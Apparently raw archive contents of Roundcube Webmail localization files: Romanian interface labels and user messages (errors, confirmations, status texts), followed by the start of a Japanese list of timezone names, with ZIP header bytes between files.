$labels['westerneuropean'] = 'Europa de Vest';
$labels['easterneuropean'] = 'Europa de Est';
$labels['southeasterneuropean'] = 'Europa de Sud-Est';
$labels['baltic'] = 'Baltic';
$labels['cyrillic'] = 'Chirilic';
$labels['arabic'] = 'Arab';
$labels['greek'] = 'Grecesc';
$labels['hebrew'] = 'Evreiesc';
$labels['turkish'] = 'Turcesc';
$labels['nordic'] = 'Ţările Nordice';
$labels['thai'] = 'Tailandez';
$labels['celtic'] = 'Celtic';
$labels['vietnamese'] = 'Vietnamez';
$labels['japanese'] = 'Japonez';
$labels['korean'] = 'Coreean';
$labels['chinese'] = 'Chinezesc';
$labels['arialabeltopnav'] = 'Controlul ferestrelor';
$labels['arialabeltasknav'] = 'Sarcini aplicații';
$labels['arialabeltoolbar'] = 'Bară instrumente aplicații';
$labels['arialabelactivetask'] = 'Sarcină activă';
$labels['arialabelmailsearchform'] = 'Formulare căutare mesaj email';
$labels['arialabelcontactsearchform'] = 'Formular căutare contacte';
$labels['arialabelfoldersearchform'] = 'Formular căutare dosar';
$labels['arialabelmailpreviewframe'] = 'Previzualizare mesaj';
$labels['arialabelmailboxmenu'] = 'Meniu acțiuni dosar';
$labels['arialabelmessagebody'] = 'Corp mesaj';
$labels['arialabelmessageactions'] = 'Acțiuni mesaj';
$labels['arialabelcontactquicksearch'] = 'Formular căutare contacte';
$labels['arialabelmessageheaders'] = 'Antete mesaj';
$labels['arialabelforwardingoptions'] = 'Opțiuni redirecționare';
$labels['arialabelreplyalloptions'] = 'Opțiuni Răspunde la toți';
$labels['arialabelmoremessageactions'] = 'Mai multe acțiuni mesaj';
$labels['arialabelmarkmessagesas'] = 'Marchează mesajele selectate ca și...';
$labels['arialabelattachmentuploadform'] = 'Formular încărcare atașament';
$labels['arialabelattachmentmenu'] = 'Opțiuni atașament';
$labels['arialabelattachmentpreview'] = 'Previzualizare atașament';
$labels['arialabelcontactexportoptions'] = 'Opțiuni export contact';
$labels['arialabelabookgroupoptions'] = 'Opțiuni Agendă/Grup';
$labels['arialabelpreferencesform'] = 'Formular preferințe';
$labels['arialabelidentityeditfrom'] = 'Formular modificare identitate';
$labels['arialabelresponseeditfrom'] = 'Formular modificare răspuns';
$labels['arialabelsearchterms'] = 'Termenii căutării';
$labels['arialabeldropactionmenu'] = 'Meniu acțiune Drag-n-Drop';
PK
h�\ �B�H>H>'program/localization/ro_RO/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'A avut loc o EROARE!';
$messages['loginfailed']  = 'Autentificare eşuată';
$messages['cookiesdisabled'] = 'Browserul dumneavoastră nu acceptă cookies';
$messages['sessionerror'] = 'Sesiunea dumneavoastră este invalidă sau a expirat';
$messages['storageerror'] = 'Conectarea la serverul IMAP a eşuat';
$messages['servererror'] = 'Eroare de server!';
$messages['servererrormsg'] = 'Eroare Server: $msg';
$messages['accountlocked'] = 'Prea multe încercări de conectare nereușite. Încearcați mai târziu.';
$messages['connerror'] = 'Eroare de conexiune (Serverul nu a fost găsit)!';
$messages['dberror'] = 'Eroare bază de date!';
$messages['windowopenerror'] = 'Fereastra nouă a fost blocată!';
$messages['requesttimedout'] = 'Timpul alocat cererii a expirat';
$messages['errorreadonly'] = 'Nu se poate efectua operaţiunea. Dosarul este disponibil doar pentru citire.';
$messages['errornoperm'] = 'Nu se poate efectua operaţiunea. Acces interzis.';
$messages['erroroverquota'] = 'Nu se poate efectua operația. Nu există spațiu liber.';
$messages['erroroverquotadelete'] = 'Nu există spațiu liber. Folosiți SHIFT+DEL pentru a șterge un mesaj.';
$messages['invalidrequest'] = 'Solicitare invalidă! Datele nu au fost salvate.';
$messages['invalidhost'] = 'Nume server invalid.';
$messages['nomessagesfound'] = 'Nu a fost găsit nici un mesaj în această căsuţă poştală';
$messages['mailboxempty'] = 'Căsuţa poştală este goală';
$messages['nomessages'] = 'Nici un mesaj';
$messages['refreshing'] = 'Reîmprospătare...';
$messages['loading'] = 'Se încarcă...';
$messages['uploading'] = 'Fişierul se încarcă...';
$messages['attaching'] = 'Fișierul se atașează....';
$messages['uploadingmany'] = 'Încarc fişierele...';
$messages['loadingdata'] = 'Se încarcă informaţiile...';
$messages['checkingmail'] = 'Se verifică pentru mesaje noi...';
$messages['sendingmessage'] = 'Trimitere mesaj...';
$messages['messagesent'] = 'Mesajul a fost trimis cu succes!';
$messages['savingmessage'] = 'Salvare mesaj...';
$messages['messagesaved'] = 'Mesajul a fost salvat în Ciorne';
$messages['successfullysaved'] = 'Salvat cu succes.';
$messages['savingresponse'] = 'Se salvează textul pentru răspuns...';
$messages['deleteresponseconfirm'] = 'Chiar vrei să ștergi acest text pentru răspuns?';
$messages['addedsuccessfully'] = 'Contactul a fost adăugat cu succes în agendă';
$messages['contactexists'] = 'Există deja un contact cu aceeași adresă de e-mail.';
$messages['contactnameexists'] = 'Există deja un contact cu acelaşi nume.';
$messages['blockedimages'] = 'Pentru a vă proteja intimitatea, imaginile externe au fost blocate.';
$messages['encryptedmessage'] = 'Acesta este un mesaj criptat şi nu poate fi afişat. Ne pare rău.';
$messages['externalmessagedecryption'] = 'Acesta este un mesaj criptat și poate fi decriptat cu extensia dvs. de browser.';
$messages['nopubkeyfor'] = 'Nu a fost găsită nici o cheie publică validă pentru $email';
$messages['nopubkeyforsender'] = 'Nu a fost găsită nici o cheie publică validă pentru identitatea expeditorului dvs. Doriți să criptați mesajul doar pentru destinatari?';
$messages['encryptnoattachments'] = 'Atașamentele deja încărcate nu pot fi criptate. Vă rugăm re-adăugați-le în editorul de criptare.';
$messages['searchpubkeyservers'] = 'Doriți să căutați în servere de chei publice pentru cheile care lipsesc?';
$messages['encryptpubkeysfound'] = 'Au fost găsite următoarele chei publice:';
$messages['nocontactsfound'] = 'Nu s-a găsit nici un contact';
$messages['contactnotfound'] = 'Contactul solicitat nu a fost găsit.';
$messages['sendingfailed'] = 'Nu s-a reuşit trimiterea mesajului';
$messages['senttooquickly'] = 'Vă rugăm aşteptaţi $sec sec. înainte de a trimite acest mesaj';
$messages['errorsavingsent'] = 'A intervenit o eroare în timp ce se efectua salvarea mesajului trimis.';
$messages['errorsaving'] = 'A intervenit o eroare în timp ce se efectua salvarea.';
$messages['errormoving'] = 'Nu am putut muta mesajul (mesajele).';
$messages['errorcopying'] = 'Nu am putut copia mesajul (mesajele).';
$messages['errordeleting'] = 'Nu am putut şterge mesajul (mesajele).';
$messages['errormarking'] = 'Nu am putut marca mesajul (mesajele)';
$messages['deletecontactconfirm']  = 'Sunteţi sigur că doriţi să ştergeţi contactul/ele selectat(e)?';
$messages['deletegroupconfirm']  = 'Sunteţi sigur că doriţi să ştergeţi grupul selectat?';
$messages['deletemessagesconfirm'] = 'Sunteţi sigur că doriţi să ştergeţi mesajul (mesajele) selectate ?';
$messages['deletefolderconfirm']  = 'Sunteţi sigur că doriţi să ştergeţi acest dosar?';
$messages['purgefolderconfirm']  = 'Sunteţi sigur că doriţi să ştergeţi toate mesajele din acest dosar?';
$messages['contactdeleting'] = 'Şterg contactul (ele)...';
$messages['groupdeleting'] = 'Şterg grupul...';
$messages['folderdeleting'] = 'Se şterge dosarul...';
$messages['foldermoving'] = 'Se mută dosarul...';
$messages['foldersubscribing'] = 'Abonez dosarul...';
$messages['folderunsubscribing'] = 'Dezabonez dosarul...';
$messages['formincomplete'] = 'Formularul nu a fost completat corect';
$messages['noemailwarning'] = 'Vă rugăm să introduceţi o adresă de e-mail validă';
$messages['nonamewarning']  = 'Vă rugăm să introduceţi un nume';
$messages['nopagesizewarning'] = 'Vă rugăm să introduceţi mărimea paginii';
$messages['nosenderwarning'] = 'Vă rugăm introduceți adresa de e-mail a expeditorului.';
$messages['norecipientwarning'] = 'Vă rugăm să introduceţi cel puţin un destinatar';
$messages['disclosedrecipwarning'] = 'Toți destinatarii vor vedea adresele email ale celorlalți. Pentru a preveni acest lucru și pentru a le proteja confidențialitatea, puteți folosi câmpul Bcc.';
$messages['disclosedreciptitle'] = 'Prea mulți destinatari';
$messages['nosubjectwarning']  = 'Mesajul nu are subiect. Vreţi să introduceţi unul acum?';
$messages['nosubjecttitle']  = 'Fără subiect';
$messages['nobodywarning'] = 'Trimiteţi acest mesaj fără text?';
$messages['notsentwarning'] = 'Mesajul nu a fost trimis și are modificări nesalvate. Doriți să renunțați la modificările dvs.?';
$messages['restoresavedcomposedata'] = 'Un mesaj compus anterior a fost găsit.\n\nSubiect:$subject\nSalvat: $date\n\nDoriţi restaurarea acestuia ?';
$messages['nosearchname'] = 'Vă rugăm să introduceţi un nume de contact sau adresă de e-mail';
$messages['notuploadedwarning'] = 'Nu toate fişierele au fost ataşate. Vă rugăm să aşteptaţi sau să anulaţi încărcarea acestora.';
$messages['searchsuccessful'] = '$nr mesaje găsite';
$messages['contactsearchsuccessful'] = '$nr contact(e) găsit(e).';
$messages['searchnomatch'] = 'Căutarea nu a returnat niciun rezultat';
$messages['searching'] = 'Se caută...';
$messages['checking'] = 'Se verifică...';
$messages['stillsearching'] = 'Se caută...';
$messages['nospellerrors'] = 'Nu s-a găsit nicio greşeală de ortografie';
$messages['folderdeleted'] = 'Dosarul a fost şters cu succes';
$messages['foldersubscribed'] = 'Dosarul a fost abonat cu succes.';
$messages['folderunsubscribed'] = 'Dosarul a fost dezabonat cu succes.';
$messages['deletedsuccessfully'] = 'Mesaj şters cu succes !';
$messages['converting'] = 'Resetez mesajul la parametrii iniţiali...';
$messages['messageopenerror'] = 'Nu s-a putut încărca mesajul din server';
$messages['filelinkerror'] = 'Atașarea fișierului a eșuat.';
$messages['fileuploaderror'] = 'Încărcarea pe server a eşuat';
$messages['filesizeerror'] = 'Fişierul încărcat depăşeşte dimensiunea de $size';
$messages['filecounterror'] = 'Puteți încărca maxim $count fișiere simultan.';
$messages['msgsizeerror'] = 'Nu s-a atașat un fișier. Dimensiunea maximă a unui mesaj ($size) a fost depășită.';
$messages['copysuccess'] = 'Am copiat cu succes $nr contacte.';
$messages['movesuccess'] = 'Am mutat cu succes $nr contacte.';
$messages['copyerror'] = 'Nu am putut copia nici un contact.';
$messages['moveerror'] = 'Nu am putut muta nici un contact.';
$messages['sourceisreadonly'] = 'Sursa acestei adrese este "read-only" (se poate doar citi)';
$messages['errorsavingcontact'] = 'Nu s-a putut salva adresa de contact';
$messages['movingmessage'] = 'Mutare mesaj....';
$messages['copyingmessage'] = 'Copiere mesaj...';
$messages['copyingcontact'] = 'Copiez contact(ele)...';
$messages['movingcontact'] = 'Se muta contactul (contactele) ...';
$messages['deletingmessage'] = 'Şterg mesaj(ele)...';
$messages['markingmessage'] = 'Marchez mesaj(ele)...';
$messages['addingmember'] = 'Adaug contact(ele) la grup...';
$messages['removingmember'] = 'Şterg contact(ele) din grup...';
$messages['receiptsent'] = 'Confirmarea de citire a fost trimisă cu succes';
$messages['errorsendingreceipt'] = 'Confirmarea nu a putut fi trimisă';
$messages['deleteidentityconfirm'] = 'Chiar vrei să ştergi aceasă identitate?';
$messages['nodeletelastidentity'] = 'Nu puteţi şterge această identitate, este ultima.';
$messages['forbiddencharacter'] = 'Numele dosarului conţine un caracter nepermis.';
$messages['selectimportfile'] = 'Va rugăm să selectaţi fişierul pentru încărcare';
$messages['addresswriterror'] = 'Agenda selectată nu poate fi actualizată, aceasta fiind disponibila doar pentru citire.';
$messages['contactaddedtogroup'] = 'Contactele au fost adăugate cu succes la acest grup';
$messages['contactremovedfromgroup'] = 'Contactele au fost şterse cu succes din acest grup';
$messages['nogroupassignmentschanged'] = 'Atribuirile la grupuri nu au fost modificate.';
$messages['importwait'] = 'Datele sunt importate, vă rugăm să aşteptaţi...';
$messages['importformaterror'] = 'Importul a eșuat! Fișierul încărcat nu este un fișier valid pentru import de date.';
$messages['importconfirm'] = '<b>$inserted contacte au fost importate cu succes, $skipped intrări au fost ignorate deoarece ele există deja: $names</b>';
$messages['importconfirmskipped'] = '<b>Am sărit peste $skipped înregistrări</b>';
$messages['importmessagesuccess'] = 'Am importat cu succes $nr mesaje.';
$messages['importmessageerror'] = 'Importarea a esuat. Fisierul incarca nu este un mesaj valid pentru email.';
$messages['opnotpermitted'] = 'Operaţiunea nu este permisă!';
$messages['nofromaddress'] = 'Lipsește adresa de email în identitatea selectată.';
$messages['editorwarning'] = 'Trecerea în mod text a editorului va cauza pierderea formatării textului. Doriţi să continuaţi?';
$messages['httpreceivedencrypterror'] = 'Vă rugăm să luaţi legătura cu administratorul serverului de mail, deoarece există o eroare în configuraţia acestuia. <b>Mesajul d-voastră nu a fost trimis.</b>';
$messages['smtpconnerror'] = 'Eroare SMTP ($code): Conexiunea cu serverul a eşuat';
$messages['smtpautherror'] = 'Eroare SMTP ($code): Autentificare eşuată';
$messages['smtpfromerror'] = 'Eroare SMTP ($code): Nu s-a putut seta expeditorul "$from" ($msg)';
$messages['smtptoerror'] = 'Eroare SMTP ($code): Nu s-a putut adăuga destinatarul "$to" ($msg)';
$messages['smtprecipientserror'] = 'Eroare SMTP: Nu s-a putut procesa lista cu destinatari';
$messages['smtperror'] = 'Eroare SMTP: $msg';
$messages['emailformaterror'] = 'Adresă email nevalidă: $email';
$messages['toomanyrecipients'] = 'Prea mulţi destinatari. Reduceţi numărul de destinatari la $max.';
$messages['maxgroupmembersreached'] = 'Numărul de membri ai grupului depăşeşte maximul de $max.';
$messages['internalerror'] = 'A avut loc o eroare internă. Te rog încearcă din nou.';
$messages['contactdelerror'] = 'Nu am putut şterge contact(ele).';
$messages['contactdeleted'] = 'Contact(ele) au fost şterse cu succes.';
$messages['contactrestoreerror'] = 'Nu am putut restaura contact(ele) şterse.';
$messages['contactrestored'] = 'Contact(ele) au fost restaurate cu succes.';
$messages['groupdeleted'] = 'Grupul a fost şters cu succes.';
$messages['grouprenamed'] = 'Grupul a fost redenumit cu succes.';
$messages['groupcreated'] = 'Grupul a fost creat cu succes.';
$messages['savedsearchdeleted'] = 'Căutarea salvată a fost ştearsă cu succes.';
$messages['savedsearchdeleteerror'] = 'Nu am putut şterge căutarea salvată.';
$messages['savedsearchcreated'] = 'Căutarea a fost salvată cu succes.';
$messages['savedsearchcreateerror'] = 'Nu am putut salva căutarea.';
$messages['messagedeleted'] = 'Mesajul (ele) a (u) fost şters (e) cu succes.';
$messages['messagemoved'] = 'Mesajul (ele) a (u) fost mutat (e) cu succes.';
$messages['messagemovedtotrash'] = 'Mesaj(e) mutat(e) cu succes în Coșul de Gunoi';
$messages['messagecopied'] = 'Mesajul (ele) a (u) fost copiat (e) cu succes.';
$messages['messagemarked'] = 'Mesajul (ele) a (u) fost marcat (e) cu succes.';
$messages['autocompletechars'] = 'Introdu măcar $min caractere pentru autocompletare.';
$messages['autocompletemore'] = 'Au fost găsite mai multe înregistrări. Introdu mai multe caractere.';
$messages['namecannotbeempty'] = '"Nume" nu poate fi gol.';
$messages['nametoolong'] = 'Numele este prea lung.';
$messages['namedotforbidden'] = 'Numele dosarului nu poate începe cu punct.';
$messages['folderupdated'] = 'Dosar actualizat cu succes.';
$messages['foldercreated'] = 'Dosar creat cu succes.';
$messages['invalidimageformat'] = 'Tip invalid de imagine.';
$messages['mispellingsfound'] = 'Au fost găsite greşeli de ortografie în mesaj.';
$messages['parentnotwritable'] = 'Nu pot crea/muta dosarul în dosarul părinte selectat. Fără drepturi de acces.';
$messages['messagetoobig'] = 'Partea de mesaj este prea mare pentru a o procesa.';
$messages['noscriptwarning'] = 'Atenție: Serviciul de webmail necesită Javascript! Pentru a-l utiliza vă rugăm activați Javascript în setările browserului.';
$messages['messageissent'] = 'Mesajul a fost deja trimis, dar încă nu a fost salvat.
Vreți să îl salvați acum?';
$messages['errnotfound'] = 'Fișierul nu a fost găsit';
$messages['errnotfoundexplain'] = 'Resursa solicitată nu a fost găsită!';
$messages['errfailedrequest'] = 'Solicitare eșuată';
$messages['errauthorizationfailed'] = 'Autorizarea nu a reușit';
$messages['errunauthorizedexplain'] = 'Nu s-a putut verifica dacă sunteți autorizat să accesați acest serviciu!';
$messages['errrequestcheckfailed'] = 'Verificarea solicitării a eșuat';
$messages['errcsrfprotectionexplain'] = "Pentru protecția dvs., accesul la această resursă este protejat împotriva CSRF.\nDacă vedeți acest lucru, probabil că nu v-ați deconectat înainte de a părăsi aplicația web.\n\nInteracțiunea umană este necesară acum pentru a continua.";
$messages['errcontactserveradmin'] = 'Vă rugăm contactați administratorul de server.';
$messages['clicktoresumesession'] = 'Faceți clic aici pentru a vă relua sesiunea anterioară';
$messages['errcomposesession'] = 'Eroare sesiune de compunere';
$messages['errcomposesessionexplain'] = 'Sesiunea de compunere solicitată nu a fost găsită.';
$messages['clicktocompose'] = 'Clic aici pentru a compune un mesaj nou';
PK
h�\%�dž\\(program/localization/ja_JP/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = '協定世界時';
$labels['tz:africa'] = 'アフリカ';
$labels['tz:africa:abidjan'] = 'アビジャン';
$labels['tz:africa:accra'] = 'アクラ';
$labels['tz:africa:addis_ababa'] = 'アディス・アベバ';
$labels['tz:africa:algiers'] = 'アルジェ';
$labels['tz:africa:asmara'] = 'アスマラ';
$labels['tz:africa:bamako'] = 'バマコ';
$labels['tz:africa:bangui'] = 'バンギ';
$labels['tz:africa:banjul'] = 'バンジュール';
$labels['tz:africa:bissau'] = 'ビサウ';
$labels['tz:africa:blantyre'] = 'ブランタイヤ';
$labels['tz:africa:brazzaville'] = 'ブラザヴィル';
$labels['tz:africa:bujumbura'] = 'ブジュンブラ';
$labels['tz:africa:cairo'] = 'カイロ';
$labels['tz:africa:casablanca'] = 'カサブランカ';
$labels['tz:africa:ceuta'] = 'セウタ';
$labels['tz:africa:conakry'] = 'コナクリ';
$labels['tz:africa:dakar'] = 'ダカール';
$labels['tz:africa:dar_es_salaam'] = 'ダルエスサラーム';
$labels['tz:africa:djibouti'] = 'ジブチ';
$labels['tz:africa:douala'] = 'ドゥアラ';
$labels['tz:africa:el_aaiun'] = 'アイウン';
$labels['tz:africa:freetown'] = 'フリータウン';
$labels['tz:africa:gaborone'] = 'ハボローネ';
$labels['tz:africa:harare'] = 'ハラレ';
$labels['tz:africa:johannesburg'] = 'ヨハネスブルグ';
$labels['tz:africa:juba'] = 'ジュバ';
$labels['tz:africa:kampala'] = 'カンパラ';
$labels['tz:africa:khartoum'] = 'ハルツーム';
$labels['tz:africa:kigali'] = 'キガリ';
$labels['tz:africa:kinshasa'] = 'キンシャサ';
$labels['tz:africa:lagos'] = 'ラゴス';
$labels['tz:africa:libreville'] = 'リーブルヴィル';
$labels['tz:africa:lome'] = 'ロメ';
$labels['tz:africa:luanda'] = 'ルアンダ';
$labels['tz:africa:lubumbashi'] = 'ルブンバシ';
$labels['tz:africa:lusaka'] = 'ルサカ';
$labels['tz:africa:malabo'] = 'マラボ';
$labels['tz:africa:maputo'] = 'マプト';
$labels['tz:africa:maseru'] = 'マセル';
$labels['tz:africa:mbabane'] = 'ムババーネ';
$labels['tz:africa:mogadishu'] = 'モガディシュ';
$labels['tz:africa:monrovia'] = 'モンロビア';
$labels['tz:africa:nairobi'] = 'ナイロビ';
$labels['tz:africa:ndjamena'] = 'ンジャメナ';
$labels['tz:africa:niamey'] = 'ニアメ';
$labels['tz:africa:nouakchott'] = 'ヌアクショット';
$labels['tz:africa:ouagadougou'] = 'ワガドゥグー';
$labels['tz:africa:porto-novo'] = 'ポルトノボ';
$labels['tz:africa:sao_tome'] = 'サントメ';
$labels['tz:africa:tripoli'] = 'トリポリ';
$labels['tz:africa:tunis'] = 'チュニス';
$labels['tz:africa:windhoek'] = 'ウィントフック';
$labels['tz:america'] = 'アメリカ';
$labels['tz:america:adak'] = 'アダック';
$labels['tz:america:anchorage'] = 'アンカレッジ';
$labels['tz:america:anguilla'] = 'アンギラ';
$labels['tz:america:antigua'] = 'アンティグア';
$labels['tz:america:araguaina'] = 'アラグァイーナ';
$labels['tz:america:argentina'] = 'アルゼンチン';
$labels['tz:america:argentina:buenos_aires'] = 'ブエノスアイレス';
$labels['tz:america:argentina:catamarca'] = 'カタマルカ';
$labels['tz:america:argentina:cordoba'] = 'コルドバ';
$labels['tz:america:argentina:jujuy'] = 'フフイ';
$labels['tz:america:argentina:la_rioja'] = 'ラ・リオハ';
$labels['tz:america:argentina:mendoza'] = 'メンドーサ';
$labels['tz:america:argentina:rio_gallegos'] = 'リオ・ガジェーゴス';
$labels['tz:america:argentina:salta'] = 'サルタ';
$labels['tz:america:argentina:san_juan'] = 'サン・フアン';
$labels['tz:america:argentina:san_luis'] = 'サン・ルイス';
$labels['tz:america:argentina:tucuman'] = 'トゥクマン';
$labels['tz:america:argentina:ushuaia'] = 'ウシュアイア';
$labels['tz:america:aruba'] = 'アルバ';
$labels['tz:america:asuncion'] = 'アスンシオン';
$labels['tz:america:atikokan'] = 'アティコーカン';
$labels['tz:america:bahia'] = 'バイーア';
$labels['tz:america:bahia_banderas'] = 'バイーア・デ・バンデラス';
$labels['tz:america:barbados'] = 'バルバドス';
$labels['tz:america:belem'] = 'ベレン';
$labels['tz:america:belize'] = 'ベリーズ';
$labels['tz:america:blanc-sablon'] = 'ブラン・サブロン';
$labels['tz:america:boa_vista'] = 'ボア・ヴィスタ';
$labels['tz:america:bogota'] = 'ボゴタ';
$labels['tz:america:boise'] = 'ボイシ';
$labels['tz:america:cambridge_bay'] = 'ケンブリッジ・ベイ';
$labels['tz:america:campo_grande'] = 'カンポ・グランデ';
$labels['tz:america:cancun'] = 'カンクン';
$labels['tz:america:caracas'] = 'カラカス';
$labels['tz:america:cayenne'] = 'カイエンヌ';
$labels['tz:america:cayman'] = 'ケイマン諸島';
$labels['tz:america:chicago'] = 'シカゴ';
$labels['tz:america:chihuahua'] = 'チワワ';
$labels['tz:america:costa_rica'] = 'コスタリカ';
$labels['tz:america:creston'] = 'クレストン';
$labels['tz:america:cuiaba'] = 'クイアバ';
$labels['tz:america:curacao'] = 'キュラソー島';
$labels['tz:america:danmarkshavn'] = 'デンマークシャン';
$labels['tz:america:dawson'] = 'ドーソン';
$labels['tz:america:dawson_creek'] = 'ドーソン・クリーク';
$labels['tz:america:denver'] = 'デンバー';
$labels['tz:america:detroit'] = 'デトロイト';
$labels['tz:america:dominica'] = 'ドミニカ';
$labels['tz:america:edmonton'] = 'エドモントン';
$labels['tz:america:eirunepe'] = 'エイルネペ';
$labels['tz:america:el_salvador'] = 'エルサルバドル';
$labels['tz:america:fort_nelson'] = 'フォートネルソン ';
$labels['tz:america:fortaleza'] = 'フォルタレザ';
$labels['tz:america:glace_bay'] = 'グレースベイ';
$labels['tz:america:godthab'] = 'ゴートホープ';
$labels['tz:america:goose_bay'] = 'グースベイ';
$labels['tz:america:grand_turk'] = 'グランドターク';
$labels['tz:america:grenada'] = 'グレナダ';
$labels['tz:america:guadeloupe'] = 'グアドループ';
$labels['tz:america:guatemala'] = 'グアテマラ';
$labels['tz:america:guayaquil'] = 'グアヤキル';
$labels['tz:america:guyana'] = 'ガイアナ';
$labels['tz:america:halifax'] = 'ハリファックス';
$labels['tz:america:havana'] = 'ハバナ';
$labels['tz:america:hermosillo'] = 'エルモシージョ';
$labels['tz:america:indiana'] = 'インディアナ';
$labels['tz:america:indiana:indianapolis'] = 'インディアナポリス';
$labels['tz:america:indiana:knox'] = 'ノックス';
$labels['tz:america:indiana:marengo'] = 'マレンゴ';
$labels['tz:america:indiana:petersburg'] = 'ピーターズバーグ';
$labels['tz:america:indiana:tell_city'] = 'テル・シティ';
$labels['tz:america:indiana:vevay'] = 'ベベイ';
$labels['tz:america:indiana:vincennes'] = 'ヴィンセンス';
$labels['tz:america:indiana:winamac'] = 'ウィナマク';
$labels['tz:america:inuvik'] = 'イヌヴィック';
$labels['tz:america:iqaluit'] = 'イカルイト';
$labels['tz:america:jamaica'] = 'ジャマイカ';
$labels['tz:america:juneau'] = 'ジュノー';
$labels['tz:america:kentucky'] = 'ケンタッキー';
$labels['tz:america:kentucky:louisville'] = 'ルイビル';
$labels['tz:america:kentucky:monticello'] = 'モンティチェロ';
$labels['tz:america:kralendijk'] = 'クラレンダイク';
$labels['tz:america:la_paz'] = 'ラパス';
$labels['tz:america:lima'] = 'リマ';
$labels['tz:america:los_angeles'] = ' ロサンゼルス';
$labels['tz:america:lower_princes'] = 'ローワー・プリンセズ';
$labels['tz:america:maceio'] = 'マセイオ';
$labels['tz:america:managua'] = 'マナグア';
$labels['tz:america:manaus'] = 'マナウス';
$labels['tz:america:marigot'] = 'マリゴ';
$labels['tz:america:martinique'] = 'マルティニーク';
$labels['tz:america:matamoros'] = 'マタモロス';
$labels['tz:america:mazatlan'] = 'マサトラン';
$labels['tz:america:menominee'] = 'メノミニー';
$labels['tz:america:merida'] = 'メリダ';
$labels['tz:america:metlakatla'] = 'メトラカトラ';
$labels['tz:america:mexico_city'] = 'メキシコ市';
$labels['tz:america:miquelon'] = 'ミクロン島';
$labels['tz:america:moncton'] = 'モンクトン';
$labels['tz:america:monterrey'] = 'モンテレイ';
$labels['tz:america:montevideo'] = 'モンテビデオ';
$labels['tz:america:montserrat'] = 'モントセラト';
$labels['tz:america:nassau'] = 'ナッソー';
$labels['tz:america:new_york'] = 'ニューヨーク';
$labels['tz:america:nipigon'] = 'ニピゴン';
$labels['tz:america:nome'] = 'ノーム';
$labels['tz:america:noronha'] = 'ノローニャ';
$labels['tz:america:north_dakota'] = 'ノースダコタ';
$labels['tz:america:north_dakota:beulah'] = 'ビューラー';
$labels['tz:america:north_dakota:center'] = 'センター';
$labels['tz:america:north_dakota:new_salem'] = 'ニューセーラム';
$labels['tz:america:ojinaga'] = 'オヒナガ';
$labels['tz:america:panama'] = 'パナマ';
$labels['tz:america:pangnirtung'] = 'パングナータング';
$labels['tz:america:paramaribo'] = 'パラマリボ';
$labels['tz:america:phoenix'] = 'フェニックス';
$labels['tz:america:port-au-prince'] = 'ポルトープランス';
$labels['tz:america:port_of_spain'] = 'ポートオブスペイン';
$labels['tz:america:porto_velho'] = 'ポルト・ヴェーリョ';
$labels['tz:america:puerto_rico'] = 'プエルトリコ';
$labels['tz:america:rainy_river'] = 'レイニーリバー';
$labels['tz:america:rankin_inlet'] = 'ランキン・インレット';
$labels['tz:america:recife'] = 'レシフェ';
$labels['tz:america:regina'] = 'レジャイナ';
$labels['tz:america:resolute'] = 'レゾリュート';
$labels['tz:america:rio_branco'] = 'リオ・ブランコ';
$labels['tz:america:santarem'] = 'サンタレン';
$labels['tz:america:santiago'] = 'サンティアゴ';
$labels['tz:america:santo_domingo'] = 'サントドミンゴ';
$labels['tz:america:sao_paulo'] = 'サンパウロ';
$labels['tz:america:scoresbysund'] = 'スコルズビスーン';
$labels['tz:america:sitka'] = 'シトカ';
$labels['tz:america:st_barthelemy'] = 'サン・バルテルミー島';
$labels['tz:america:st_johns'] = "セント・ジョンズ";
$labels['tz:america:st_kitts'] = 'セントキッツ島';
$labels['tz:america:st_lucia'] = 'セントルシア';
$labels['tz:america:st_thomas'] = 'セント・トーマス島';
$labels['tz:america:st_vincent'] = 'セントビンセント島';
$labels['tz:america:swift_current'] = 'スウィフトカレント';
$labels['tz:america:tegucigalpa'] = 'テグシガルパ';
$labels['tz:america:thule'] = 'チューレ';
$labels['tz:america:thunder_bay'] = 'サンダーベイ';
$labels['tz:america:tijuana'] = 'ティフアナ';
$labels['tz:america:toronto'] = 'トロント';
$labels['tz:america:tortola'] = 'トルトラ島';
$labels['tz:america:vancouver'] = 'バンクーバー';
$labels['tz:america:whitehorse'] = 'ホワイトホース';
$labels['tz:america:winnipeg'] = 'ウィニペグ';
$labels['tz:america:yakutat'] = 'ヤクタト';
$labels['tz:america:yellowknife'] = ' イエローナイフ';
$labels['tz:antarctica'] = '南極大陸';
$labels['tz:antarctica:casey'] = 'ケーシー基地';
$labels['tz:antarctica:davis'] = 'デービス基地';
$labels['tz:antarctica:dumontdurville'] = "デュモン・デュルヴィル基地";
$labels['tz:antarctica:macquarie'] = 'マッコーリー島';
$labels['tz:antarctica:mawson'] = 'モーソン基地';
$labels['tz:antarctica:mcmurdo'] = 'マクマード';
$labels['tz:antarctica:palmer'] = 'パーマー基地';
$labels['tz:antarctica:rothera'] = 'ロゼラ基地';
$labels['tz:antarctica:syowa'] = '昭和基地';
$labels['tz:antarctica:troll'] = 'トロル基地';
$labels['tz:antarctica:vostok'] = 'ボストーク基地';
$labels['tz:arctic'] = '北極圏';
$labels['tz:arctic:longyearbyen'] = 'ロングイェールビーン';
$labels['tz:asia'] = 'アジア';
$labels['tz:asia:aden'] = 'アデン';
$labels['tz:asia:almaty'] = 'アルマトイ';
$labels['tz:asia:amman'] = 'アンマン';
$labels['tz:asia:anadyr'] = 'アナディリ';
$labels['tz:asia:aqtau'] = 'アクタウ';
$labels['tz:asia:aqtobe'] = 'アクトベ';
$labels['tz:asia:ashgabat'] = 'アシガバート';
$labels['tz:asia:atyrau'] = 'アティラウ';
$labels['tz:asia:baghdad'] = 'バグダード';
$labels['tz:asia:bahrain'] = 'バーレーン';
$labels['tz:asia:baku'] = 'バクー';
